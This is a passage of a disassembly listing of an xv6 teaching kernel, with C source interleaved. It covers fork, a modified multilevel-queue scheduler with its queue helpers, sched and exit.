89 47 68 mov %eax,0x68(%edi) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 80103bf2: 8d 47 6c lea 0x6c(%edi),%eax 80103bf5: 6a 10 push $0x10 80103bf7: 53 push %ebx 80103bf8: 50 push %eax 80103bf9: e8 12 12 00 00 call 80104e10 <safestrcpy> pid = np->pid; 80103bfe: 8b 5f 10 mov 0x10(%edi),%ebx acquire(&ptable.lock); 80103c01: c7 04 24 40 42 11 80 movl $0x80114240,(%esp) 80103c08: e8 33 0f 00 00 call 80104b40 <acquire> np->state = RUNNABLE; 80103c0d: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi) release(&ptable.lock); 80103c14: c7 04 24 40 42 11 80 movl $0x80114240,(%esp) 80103c1b: e8 e0 0f 00 00 call 80104c00 <release> return pid; 80103c20: 83 c4 10 add $0x10,%esp } 80103c23: 8d 65 f4 lea -0xc(%ebp),%esp 80103c26: 89 d8 mov %ebx,%eax 80103c28: 5b pop %ebx 80103c29: 5e pop %esi 80103c2a: 5f pop %edi 80103c2b: 5d pop %ebp 80103c2c: c3 ret return -1; 80103c2d: bb ff ff ff ff mov $0xffffffff,%ebx 80103c32: eb ef jmp 80103c23 <fork+0xe3> kfree(np->kstack); 80103c34: 8b 5d e4 mov -0x1c(%ebp),%ebx 80103c37: 83 ec 0c sub $0xc,%esp 80103c3a: ff 73 08 pushl 0x8(%ebx) 80103c3d: e8 2e e8 ff ff call 80102470 <kfree> np->kstack = 0; 80103c42: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) return -1; 80103c49: 83 c4 10 add $0x10,%esp np->state = UNUSED; 80103c4c: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return -1; 80103c53: bb ff ff ff ff mov $0xffffffff,%ebx 80103c58: eb c9 jmp 80103c23 <fork+0xe3> 80103c5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103c60 <psinfo>: { 80103c60: f3 0f 1e fb endbr32 80103c64: 55 push %ebp 80103c65: 89 e5 mov %esp,%ebp 80103c67: 56 push %esi 80103c68: 53 push %ebx for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103c69: bb 74 42 11 80 mov $0x80114274,%ebx acquire(&ptable.lock); 80103c6e: 83 ec 0c sub $0xc,%esp 80103c71: 68 40 42 11 80 push $0x80114240 80103c76: e8 c5 0e 00 00 call 80104b40 <acquire> cprintf("pid, priority, state, ctime, rtime, wtime, n_run, cur_q, q[0], q[1], q[2], q[3], q[4]\n"); 80103c7b: c7 04 24 58 7e 10 80 movl $0x80107e58,(%esp) 80103c82: e8 29 ca ff ff call 801006b0 <cprintf> 80103c87: 83 c4 10 add $0x10,%esp 80103c8a: eb 12 jmp 80103c9e <psinfo+0x3e> 80103c8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103c90: 81 c3 b4 00 00 00 add $0xb4,%ebx 80103c96: 81 fb 74 6f 11 80 cmp $0x80116f74,%ebx 80103c9c: 74 67 je 80103d05 <psinfo+0xa5> if(p->pid!=0) 80103c9e: 8b 43 10 mov 0x10(%ebx),%eax 80103ca1: 85 c0 test %eax,%eax 80103ca3: 74 eb je 80103c90 <psinfo+0x30> p->rtime, p->etime - p->ctime - p->rtime, p->n_run, p->cur_q, 80103ca5: 8b 4b 7c mov 0x7c(%ebx),%ecx 80103ca8: 8b 93 80 00 00 00 mov 0x80(%ebx),%edx cprintf("%d %d %s %d %d %d %d %d %d %d %d %d %d\n", p->pid, p->priority, states[p->state], p->ctime, 80103cae: 83 ec 08 sub $0x8,%esp 80103cb1: ff b3 a8 00 00 00 pushl 0xa8(%ebx) p->rtime, p->etime - p->ctime - p->rtime, p->n_run, p->cur_q, 80103cb7: 8b b3 84 00 00 00 mov 0x84(%ebx),%esi cprintf("%d %d %s %d %d %d %d %d %d %d %d %d %d\n", p->pid, p->priority, states[p->state], p->ctime, 80103cbd: ff b3 a4 00 00 00 pushl 0xa4(%ebx) for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103cc3: 81 c3 b4 00 00 00 add $0xb4,%ebx p->rtime, p->etime - p->ctime - p->rtime, p->n_run, p->cur_q, 80103cc9: 29 ca sub %ecx,%edx cprintf("%d %d %s %d %d %d %d %d %d %d %d %d %d\n", p->pid, p->priority, states[p->state], p->ctime, 80103ccb: ff 73 ec pushl -0x14(%ebx) 80103cce: 29 f2 sub %esi,%edx 80103cd0: ff 73 e8 pushl -0x18(%ebx) 80103cd3: ff 73 e4 pushl -0x1c(%ebx) 80103cd6: ff 73 d8 pushl -0x28(%ebx) 80103cd9: ff 73 e0 pushl -0x20(%ebx) 80103cdc: 52 push %edx 80103cdd: 8b 93 58 ff ff ff mov -0xa8(%ebx),%edx 80103ce3: 56 push %esi 80103ce4: 51 push %ecx 80103ce5: ff 34 95 3c 7f 10 80 pushl -0x7fef80c4(,%edx,4) 80103cec: ff 73 d4 pushl -0x2c(%ebx) 80103cef: 50 push %eax 80103cf0: 68 b0 7e 10 80 push $0x80107eb0 80103cf5: e8 b6 c9 ff ff call 801006b0 <cprintf> 80103cfa: 83 c4 40 add $0x40,%esp for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103cfd: 81 fb 74 6f 11 80 cmp $0x80116f74,%ebx 80103d03: 75 99 jne 80103c9e <psinfo+0x3e> release(&ptable.lock); 80103d05: 83 ec 0c sub $0xc,%esp 80103d08: 68 40 42 11 80 push $0x80114240 80103d0d: e8 ee 0e 00 00 call 80104c00 <release> } 80103d12: 8d 65 f8 lea -0x8(%ebp),%esp 80103d15: b8 01 00 00 00 mov $0x1,%eax 80103d1a: 5b pop %ebx 80103d1b: 5e pop %esi 80103d1c: 5d pop %ebp 80103d1d: c3 ret 80103d1e: 66 90 xchg %ax,%ax 80103d20 <scheduler_old>: { 80103d20: f3 0f 1e fb endbr32 80103d24: 55 push %ebp 80103d25: 89 e5 mov %esp,%ebp 80103d27: 57 push %edi 80103d28: 56 push %esi 80103d29: 53 push %ebx 80103d2a: 83 ec 0c sub $0xc,%esp struct cpu *c = mycpu(); 80103d2d: e8 ce fb ff ff call 80103900 <mycpu> c->proc = 0; 80103d32: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax) 80103d39: 00 00 00 struct cpu *c = mycpu(); 80103d3c: 89 c6 mov %eax,%esi c->proc = 0; 80103d3e: 8d 78 04 lea 0x4(%eax),%edi 80103d41: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi asm volatile("sti"); 80103d48: fb sti acquire(&ptable.lock); 80103d49: 83 ec 0c sub $0xc,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103d4c: bb 74 42 11 80 mov $0x80114274,%ebx acquire(&ptable.lock); 80103d51: 68 40 42 11 80 push $0x80114240 80103d56: e8 e5 0d 00 00 call 80104b40 <acquire> 80103d5b: 83 c4 10 add $0x10,%esp 80103d5e: 66 90 xchg %ax,%ax if(p->state != RUNNABLE) 80103d60: 83 7b 0c 03 cmpl $0x3,0xc(%ebx) 80103d64: 75 33 jne 80103d99 <scheduler_old+0x79> switchuvm(p); 80103d66: 83 ec 0c sub $0xc,%esp c->proc = p; 80103d69: 89 9e ac 00 00 00 mov %ebx,0xac(%esi) switchuvm(p); 80103d6f: 53 push %ebx 80103d70: e8 8b 33 00 00 call 80107100 <switchuvm> swtch(&(c->scheduler), p->context); 80103d75: 58 pop %eax 80103d76: 5a pop %edx 80103d77: ff 73 1c pushl 0x1c(%ebx) 80103d7a: 57 push %edi p->state = RUNNING; 80103d7b: c7 43 0c 04 00 00 00 movl $0x4,0xc(%ebx) swtch(&(c->scheduler), p->context); 80103d82: e8 ec 10 00 00 call 80104e73 <swtch> switchkvm(); 80103d87: e8 54 33 00 00 call 801070e0 <switchkvm> c->proc = 0; 80103d8c: 83 c4 10 add $0x10,%esp 80103d8f: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi) 80103d96: 00 00 00 for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103d99: 81 c3 b4 00 00 00 add $0xb4,%ebx 80103d9f: 81 fb 74 6f 11 80 cmp $0x80116f74,%ebx 80103da5: 75 b9 jne 80103d60 <scheduler_old+0x40> release(&ptable.lock); 80103da7: 83 ec 0c sub $0xc,%esp 80103daa: 68 40 42 11 80 push $0x80114240 80103daf: e8 4c 0e 00 00 call 80104c00 <release> sti(); 80103db4: 83 c4 10 add $0x10,%esp 80103db7: eb 8f jmp 80103d48 <scheduler_old+0x28> 80103db9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103dc0 <addtoq>: { 80103dc0: f3 0f 1e fb endbr32 80103dc4: 55 push %ebp 80103dc5: 89 e5 mov %esp,%ebp 80103dc7: 57 push %edi 80103dc8: 8b 7d 0c mov 0xc(%ebp),%edi 80103dcb: 8b 55 08 mov 0x8(%ebp),%edx 80103dce: 56 push %esi 80103dcf: 53 push %ebx for(int i=0; i < count_in_queues[cur_q]; i++) 80103dd0: 8b 0c bd 20 42 11 80 mov -0x7feebde0(,%edi,4),%ecx 80103dd7: 85 c9 test %ecx,%ecx 80103dd9: 7e 38 jle 80103e13 <addtoq+0x53> 80103ddb: 89 fb mov %edi,%ebx if(p->pid == queues[cur_q][i]->pid) 80103ddd: 8b 72 10 mov 0x10(%edx),%esi for(int i=0; i < count_in_queues[cur_q]; i++) 80103de0: 31 c0 xor %eax,%eax 80103de2: c1 e3 08 shl $0x8,%ebx 80103de5: eb 10 jmp 80103df7 <addtoq+0x37> 80103de7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103dee: 66 90 xchg %ax,%ax 80103df0: 83 c0 01 add $0x1,%eax 80103df3: 39 c8 cmp %ecx,%eax 80103df5: 74 19 je 80103e10 <addtoq+0x50> if(p->pid == queues[cur_q][i]->pid) 80103df7: 8b 94 83 20 3d 11 80 mov -0x7feec2e0(%ebx,%eax,4),%edx 80103dfe: 3b 72 10 cmp 0x10(%edx),%esi 80103e01: 75 ed jne 80103df0 <addtoq+0x30> } 80103e03: 5b pop %ebx return -1; 80103e04: b8 ff ff ff ff mov $0xffffffff,%eax } 80103e09: 5e pop %esi 80103e0a: 5f pop %edi 80103e0b: 5d pop %ebp 80103e0c: c3 ret 80103e0d: 8d 76 00 lea 0x0(%esi),%esi 80103e10: 8b 55 08 mov 0x8(%ebp),%edx p->cur_qaddtime = ticks; 80103e13: a1 c0 77 11 80 mov 0x801177c0,%eax p->cur_q= cur_q; 80103e18: 89 ba 8c 00 00 00 mov %edi,0x8c(%edx) p->q_in_current_slice=0; 80103e1e: c7 82 90 00 00 00 00 movl $0x0,0x90(%edx) 80103e25: 00 00 00 p->cur_qaddtime = ticks; 80103e28: 89 82 b0 00 00 00 mov %eax,0xb0(%edx) count_in_queues[cur_q]++; 80103e2e: 8d 41 01 lea 0x1(%ecx),%eax } 80103e31: 5b pop %ebx count_in_queues[cur_q]++; 80103e32: 89 04 bd 20 42 11 80 mov %eax,-0x7feebde0(,%edi,4) queues[cur_q][count_in_queues[cur_q]-1] = p; 80103e39: c1 e7 06 shl $0x6,%edi } 80103e3c: 5e pop %esi return 1; 80103e3d: b8 01 00 00 00 mov $0x1,%eax queues[cur_q][count_in_queues[cur_q]-1] = p; 80103e42: 01 f9 add %edi,%ecx } 80103e44: 5f pop %edi 80103e45: 5d pop %ebp queues[cur_q][count_in_queues[cur_q]-1] = p; 80103e46: 89 14 8d 20 3d 11 80 mov %edx,-0x7feec2e0(,%ecx,4) } 80103e4d: c3 ret 80103e4e: 66 90 xchg %ax,%ax 80103e50 <removefromq>: { 80103e50: f3 0f 1e fb endbr32 80103e54: 55 push %ebp 80103e55: 89 e5 mov %esp,%ebp 80103e57: 57 push %edi 80103e58: 8b 7d 0c mov 0xc(%ebp),%edi 80103e5b: 56 push %esi 80103e5c: 53 push %ebx for(int i=0; i <= count_in_queues[cur_q]; i++) 80103e5d: 8b 0c bd 20 42 11 80 mov -0x7feebde0(,%edi,4),%ecx 80103e64: 85 c9 test %ecx,%ecx 80103e66: 0f 88 84 00 00 00 js 80103ef0 <removefromq+0xa0> if(queues[cur_q][i] -> pid == p->pid) 80103e6c: 8b 45 08 mov 0x8(%ebp),%eax 80103e6f: 89 fb mov %edi,%ebx 80103e71: c1 e3 08 shl $0x8,%ebx 80103e74: 8b 70 10 mov 0x10(%eax),%esi for(int i=0; i <= count_in_queues[cur_q]; i++) 80103e77: 31 c0 xor %eax,%eax 80103e79: eb 0c jmp 80103e87 <removefromq+0x37> 80103e7b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103e7f: 90 nop 80103e80: 83 c0 01 add $0x1,%eax 80103e83: 39 c8 cmp %ecx,%eax 80103e85: 7f 69 jg 80103ef0 <removefromq+0xa0> if(queues[cur_q][i] -> pid == p->pid) 80103e87: 8b 94 83 20 3d 11 80 mov -0x7feec2e0(%ebx,%eax,4),%edx 80103e8e: 39 72 10 cmp %esi,0x10(%edx) 80103e91: 75 ed jne 80103e80 <removefromq+0x30> for(int i = qindex; i < count_in_queues[cur_q]; i++) 80103e93: 39 c8 cmp %ecx,%eax 80103e95: 7d 26 jge 80103ebd <removefromq+0x6d> 80103e97: 89 fa mov %edi,%edx 80103e99: c1 e2 06 shl $0x6,%edx 80103e9c: 01 d0 add %edx,%eax 80103e9e: 01 ca add %ecx,%edx 80103ea0: 8d 04 85 20 3d 11 80 lea -0x7feec2e0(,%eax,4),%eax 80103ea7: 8d 1c 95 20 3d 11 80 lea -0x7feec2e0(,%edx,4),%ebx 80103eae: 66 90 xchg %ax,%ax queues[cur_q][i] = queues[cur_q][i+1]; 80103eb0: 8b 50 04 mov 0x4(%eax),%edx 80103eb3: 83 c0 04 add $0x4,%eax 80103eb6: 89 50 fc mov %edx,-0x4(%eax) for(int i = qindex; i < count_in_queues[cur_q]; i++) 80103eb9: 39 d8 cmp %ebx,%eax 80103ebb: 75 f3 jne 80103eb0 <removefromq+0x60> p->cur_qaddtime = -1; 80103ebd: 8b 45 08 mov 0x8(%ebp),%eax count_in_queues[cur_q]--; 80103ec0: 83 e9 01 sub $0x1,%ecx 80103ec3: 89 0c bd 20 42 11 80 mov %ecx,-0x7feebde0(,%edi,4) p->cur_qaddtime = -1; 80103eca: c7 80 b0 00 00 00 ff movl $0xffffffff,0xb0(%eax) 80103ed1: ff ff ff p->q_in_current_slice = 0; 80103ed4: c7 80 90 00 00 00 00 movl $0x0,0x90(%eax) 80103edb: 00 00 00 return 1; 80103ede: b8 01 00 00 00 mov $0x1,%eax } 80103ee3: 5b pop %ebx 80103ee4: 5e pop %esi 80103ee5: 5f pop %edi 80103ee6: 5d pop %ebp 80103ee7: c3 ret 80103ee8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103eef: 90 nop 80103ef0: 5b pop %ebx return -1; 80103ef1: b8 ff ff ff ff mov $0xffffffff,%eax } 80103ef6: 5e pop %esi 80103ef7: 5f pop %edi 80103ef8: 5d pop %ebp 80103ef9: c3 ret 80103efa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103f00 <printQueueStatus>: { 80103f00: f3 0f 1e fb endbr32 80103f04: 55 push %ebp 80103f05: 89 e5 mov %esp,%ebp 80103f07: 57 push %edi 80103f08: 56 push %esi 80103f09: 53 push %ebx for (int i=0;i<5;i++) 80103f0a: 31 db xor %ebx,%ebx { 80103f0c: 83 ec 0c sub $0xc,%esp if (count_in_queues[i] >0) 80103f0f: 8b 04 9d 20 42 11 80 mov -0x7feebde0(,%ebx,4),%eax 80103f16: 85 c0 test %eax,%eax 80103f18: 7f 16 jg 80103f30 <printQueueStatus+0x30> for (int i=0;i<5;i++) 80103f1a: 83 c3 01 add $0x1,%ebx 80103f1d: 83 fb 05 cmp $0x5,%ebx 80103f20: 75 ed jne 80103f0f <printQueueStatus+0xf> } 80103f22: 8d 65 f4 lea -0xc(%ebp),%esp 80103f25: 5b pop %ebx 80103f26: 5e pop %esi 80103f27: 5f pop %edi 80103f28: 5d pop %ebp 80103f29: c3 ret 80103f2a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cprintf("num in queue %d is %d \n", i, count_in_queues[i]); 80103f30: 83 ec 04 sub $0x4,%esp 80103f33: 50 push %eax 80103f34: 53 push %ebx 80103f35: 68 5b 7d 10 80 push $0x80107d5b 80103f3a: e8 71 c7 ff ff call 801006b0 <cprintf> for (int j=0; j<count_in_queues[i]; j++) 80103f3f: 8b 04 9d 20 42 11 80 mov -0x7feebde0(,%ebx,4),%eax 80103f46: 83 c4 10 add $0x10,%esp 80103f49: 85 c0 test %eax,%eax 80103f4b: 7e cd jle 80103f1a <printQueueStatus+0x1a> 80103f4d: 89 df mov %ebx,%edi 80103f4f: 31 f6 xor %esi,%esi 80103f51: c1 e7 08 shl $0x8,%edi 80103f54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf("process waiting in queue %d %d \n", i, queues[i][j]->pid); 80103f58: 8b 84 b7 20 3d 11 80 mov -0x7feec2e0(%edi,%esi,4),%eax 80103f5f: 83 ec 04 sub $0x4,%esp for (int j=0; j<count_in_queues[i]; j++) 80103f62: 83 c6 01 add $0x1,%esi cprintf("process waiting in queue %d %d \n", i, queues[i][j]->pid); 80103f65: ff 70 10 pushl 0x10(%eax) 80103f68: 53 push %ebx 80103f69: 68 d8 7e 10 80 push $0x80107ed8 80103f6e: e8 3d c7 ff ff call 801006b0 <cprintf> for (int j=0; j<count_in_queues[i]; j++) 80103f73: 83 c4 10 add $0x10,%esp 80103f76: 39 34 9d 20 42 11 80 cmp %esi,-0x7feebde0(,%ebx,4) 80103f7d: 7f d9 jg 80103f58 <printQueueStatus+0x58> 80103f7f: eb 99 jmp 80103f1a <printQueueStatus+0x1a> 80103f81: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103f88: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103f8f: 90 nop 80103f90 <scheduler>: { 80103f90: f3 0f 1e fb endbr32 80103f94: 55 push %ebp 80103f95: 89 e5 mov %esp,%ebp 80103f97: 57 push %edi 80103f98: 56 push %esi 80103f99: 53 push %ebx 80103f9a: 83 ec 0c sub $0xc,%esp struct cpu *c = mycpu(); 80103f9d: e8 5e f9 ff ff call 80103900 <mycpu> c->proc = 0; 80103fa2: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax) 80103fa9: 00 00 00 struct cpu *c = mycpu(); 80103fac: 89 c6 mov %eax,%esi psinfo(); 80103fae: 8d 7e 04 lea 0x4(%esi),%edi 80103fb1: e8 aa fc ff ff call 80103c60 <psinfo> 80103fb6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103fbd: 8d 76 00 lea 0x0(%esi),%esi 80103fc0: fb sti acquire(&ptable.lock); 80103fc1: 83 ec 0c sub $0xc,%esp for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103fc4: bb 74 42 11 80 mov $0x80114274,%ebx acquire(&ptable.lock); 80103fc9: 68 40 42 11 80 push $0x80114240 80103fce: e8 6d 0b 00 00 call 80104b40 <acquire> 80103fd3: 83 c4 10 add $0x10,%esp 80103fd6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103fdd: 8d 76 00 lea 0x0(%esi),%esi if (p->state != RUNNABLE) 80103fe0: 83 7b 0c 03 cmpl $0x3,0xc(%ebx) 80103fe4: 75 33 jne 80104019 <scheduler+0x89> switchuvm(p); 80103fe6: 83 ec 0c sub $0xc,%esp c->proc = p; 80103fe9: 89 9e ac 00 00 00 mov %ebx,0xac(%esi) switchuvm(p); 80103fef: 53 push %ebx 80103ff0: e8 0b 31 00 00 call 80107100 <switchuvm> swtch(&(c->scheduler), p->context); 80103ff5: 58 pop %eax 80103ff6: 5a pop %edx 80103ff7: ff 73 1c pushl 0x1c(%ebx) 80103ffa: 57 push %edi p->state = RUNNING; 80103ffb: c7 43 0c 04 00 00 00 movl $0x4,0xc(%ebx) swtch(&(c->scheduler), p->context); 80104002: e8 6c 0e 00 00 call 80104e73 <swtch> switchkvm(); 80104007: e8 d4 30 00 00 call 801070e0 <switchkvm> c->proc = 0; 8010400c: 83 c4 10 add $0x10,%esp 8010400f: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi) 80104016: 00 00 00 for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104019: 81 c3 b4 00 00 00 add $0xb4,%ebx 8010401f: 81 fb 74 6f 11 80 cmp $0x80116f74,%ebx 80104025: 75 b9 jne 80103fe0 <scheduler+0x50> release(&ptable.lock); 80104027: 83 ec 0c sub $0xc,%esp 8010402a: 68 40 42 11 80 push $0x80114240 8010402f: e8 cc 0b 00 00 call 80104c00 <release> sti(); 80104034: 83 c4 10 add $0x10,%esp 80104037: eb 87 jmp 80103fc0 <scheduler+0x30> 80104039: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104040 <sched>: { 80104040: f3 0f 1e fb endbr32 80104044: 55 push %ebp 80104045: 89 e5 mov %esp,%ebp 80104047: 56 push %esi 80104048: 53 push %ebx pushcli(); 80104049: e8 f2 09 00 00 call 80104a40 <pushcli> c = mycpu(); 8010404e: e8 ad f8 ff ff call 80103900 <mycpu> p = c->proc; 80104053: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80104059: e8 32 0a 00 00 call 80104a90 <popcli> if(!holding(&ptable.lock)) 8010405e: 83 ec 0c sub $0xc,%esp 80104061: 68 40 42 11 80 push $0x80114240 80104066: e8 85 0a 00 00 call 80104af0 <holding> 8010406b: 83 c4 10 add $0x10,%esp 8010406e: 85 c0 test %eax,%eax 80104070: 74 4f je 801040c1 <sched+0x81> if(mycpu()->ncli != 1) 80104072: e8 89 f8 ff ff call 80103900 <mycpu> 80104077: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax) 8010407e: 75 68 jne 801040e8 <sched+0xa8> if(p->state == RUNNING) 80104080: 83 7b 0c 04 cmpl $0x4,0xc(%ebx) 80104084: 74 55 je 801040db <sched+0x9b> asm volatile("pushfl; popl %0" : "=r" (eflags)); 80104086: 9c pushf 80104087: 58 pop %eax if(readeflags()&FL_IF) 80104088: f6 c4 02 test $0x2,%ah 8010408b: 75 41 jne 801040ce <sched+0x8e> intena = mycpu()->intena; 8010408d: e8 6e f8 ff ff call 80103900 <mycpu> swtch(&p->context, mycpu()->scheduler); 80104092: 83 c3 1c add $0x1c,%ebx intena = mycpu()->intena; 80104095: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi swtch(&p->context, mycpu()->scheduler); 8010409b: e8 60 f8 ff ff call 80103900 <mycpu> 801040a0: 83 ec 08 sub $0x8,%esp 801040a3: ff 70 04 pushl 0x4(%eax) 801040a6: 53 push %ebx 801040a7: e8 c7 0d 00 00 call 80104e73 <swtch> mycpu()->intena = intena; 801040ac: e8 4f f8 ff ff call 80103900 <mycpu> } 801040b1: 83 c4 10 add $0x10,%esp mycpu()->intena = intena; 801040b4: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax) } 801040ba: 8d 65 f8 lea -0x8(%ebp),%esp 801040bd: 5b pop %ebx 801040be: 5e pop %esi 801040bf: 5d pop %ebp 801040c0: c3 ret panic("sched ptable.lock"); 801040c1: 83 ec 0c sub $0xc,%esp 801040c4: 68 73 7d 10 80 push $0x80107d73 801040c9: e8 c2 c2 ff ff call 80100390 <panic> panic("sched interruptible"); 801040ce: 83 ec 0c sub $0xc,%esp 801040d1: 68 9f 7d 10 80 push $0x80107d9f 801040d6: e8 b5 c2 ff ff call 80100390 <panic> panic("sched running"); 801040db: 83 ec 0c sub $0xc,%esp 801040de: 68 91 7d 10 80 push $0x80107d91 801040e3: e8 a8 c2 ff ff call 80100390 <panic> panic("sched locks"); 801040e8: 83 ec 0c sub $0xc,%esp 801040eb: 68 85 7d 10 80 push $0x80107d85 801040f0: e8 9b c2 ff ff call 80100390 <panic> 801040f5: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801040fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104100 <exit>: { 80104100: f3 0f 1e fb endbr32 80104104: 55 push %ebp 80104105: 89 e5 mov %esp,%ebp 80104107: 57 push %edi 80104108: 56 push %esi 80104109: 53 push %ebx 8010410a: 83 ec 0c sub $0xc,%esp pushcli(); 8010410d: e8 2e 09 00 00 call 80104a40 <pushcli> c = mycpu(); 80104112: e8 e9 f7 ff ff call 80103900 <mycpu> p = c->proc; 80104117: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 8010411d: e8 6e 09 00 00 call 80104a90 <popcli> if(curproc == initproc) 80104122: 8d 73 28 lea 0x28(%ebx),%esi 80104125: 8d 7b 68 lea 0x68(%ebx),%edi 80104128: 39 1d b8 b5 10 80 cmp %ebx,0x8010b5b8 8010412e: 0f 84 08 01 00 00 je 8010423c <exit+0x13c> 80104134: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(curproc->ofile[fd]){ 80104138: 8b 06 mov (%esi),%eax 8010413a: 85 c0 test %eax,%eax 8010413c: 74 12 je 80104150 <exit+0x50> fileclose(curproc->ofile[fd]); 8010413e: 83 ec 0c sub $0xc,%esp 80104141: 50 push %eax 80104142: e8 79 cd ff ff call 80100ec0 <fileclose> curproc->ofile[fd] = 0; 80104147: c7 06 00 00 00 00 movl $0x0,(%esi) 8010414d: 83 c4 10 add $0x10,%esp for(fd = 0; fd < NOFILE; fd++){ 80104150: 83 c6 04 add $0x4,%esi 80104153: 39 f7 cmp %esi,%edi 80104155: 75 e1 jne 80104138 <exit+0x38> begin_op(); 80104157: e8 d4 eb ff ff call 80102d30 <begin_op> iput(curproc->cwd); 8010415c: 83 ec 0c sub $0xc,%esp 8010415f: ff 73 68 pushl 0x68(%ebx) 80104162: e8 29 d7 ff ff call 80101890 <iput> end_op(); 80104167: e8 34 ec ff ff call 80102da0 <end_op> curproc->cwd = 0; 8010416c: c7 43 68 00 00 00 00 movl $0x0,0x68(%ebx) acquire(&ptable.lock); 80104173: c7 04 24 40 42 11 80 movl $0x80114240,(%esp) 8010417a: e8 c1 09 00 00 call 80104b40 <acquire> wakeup1(curproc->parent); 8010417f: 8b 53 14 mov 0x14(%ebx),%edx 80104182: 83 c4 10 add $0x10,%esp static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104185: b8 74 42 11 80 mov $0x80114274,%eax 8010418a: eb 10 jmp 8010419c <exit+0x9c> 8010418c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104190: 05 b4 00 00 00 add $0xb4,%eax 80104195: 3d 74 6f 11 80 cmp $0x80116f74,%eax 8010419a: 74 1e je 801041ba <exit+0xba> if(p->state == SLEEPING && p->chan == chan) 8010419c: 83 78 0c 02 cmpl $0x2,0xc(%eax) 801041a0: 75 ee jne 80104190 <exit+0x90> 801041a2: 3b 50 20 cmp 0x20(%eax),%edx 801041a5: 75 e9 jne 80104190 <exit+0x90> { p->state = RUNNABLE; 801041a7: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801041ae: 05 b4 00 00 00 add $0xb4,%eax 801041b3: 3d 74 6f 11 80 cmp $0x80116f74,%eax 801041b8: 75 e2 jne 8010419c <exit+0x9c> p->parent = initproc; 801041ba: 8b 0d b8 b5 10 80 mov 0x8010b5b8,%ecx for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801041c0: ba 74 42 11 80 mov $0x80114274,%edx 801041c5: eb 17 jmp 801041de <exit+0xde> 801041c7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801041ce: 66 90 xchg %ax,%ax 801041d0: 81 c2 b4 00 00 00 add $0xb4,%edx 801041d6: 81 fa 74 6f 11 80 cmp $0x80116f74,%edx 801041dc: 74 3a je 80104218 <exit+0x118> if(p->parent == curproc){ 801041de: 39 5a 14 cmp %ebx,0x14(%edx) 801041e1: 75 ed jne 801041d0 <exit+0xd0> if(p->state == ZOMBIE) 801041e3: 83 7a 0c 05 cmpl $0x5,0xc(%edx) p->parent = initproc; 801041e7: 89 4a 14 mov %ecx,0x14(%edx) if(p->state == ZOMBIE) 801041ea: 75 e4 jne 801041d0 <exit+0xd0> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801041ec: b8 74 42 11 80 mov $0x80114274,%eax 801041f1: eb 11 jmp 80104204 <exit+0x104> 801041f3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801041f7: 90 nop 801041f8: 05 b4 00 00 00 add $0xb4,%eax 801041fd: 3d 74 6f 11 80 cmp $0x80116f74,%eax 80104202: 74 cc je 801041d0 <exit+0xd0> if(p->state == SLEEPING && p->chan == chan) 80104204: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80104208: 75 ee jne 801041f8 <exit+0xf8> 8010420a: 3b 48 20 cmp 0x20(%eax),%ecx 8010420d: 75 e9 jne 801041f8 <exit+0xf8> p->state = RUNNABLE; 8010420f: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) 80104216: eb e0 jmp 801041f8 <exit+0xf8> curproc->etime = ticks; 80104218: a1 c0 77 11 80 mov 0x801177c0,%eax curproc->state = ZOMBIE; 8010421d: c7 43 0c 05 00 00 00 movl $0x5,0xc(%ebx) curproc->etime = ticks; 80104224: 89 83 80 00 00 00 mov %eax,0x80(%ebx) sched(); 8010422a: e8 11 fe ff ff call 80104040 <sched> panic("zombie exit"); 8010422f: 83 ec 0c sub $0xc,%esp 80104232: 68 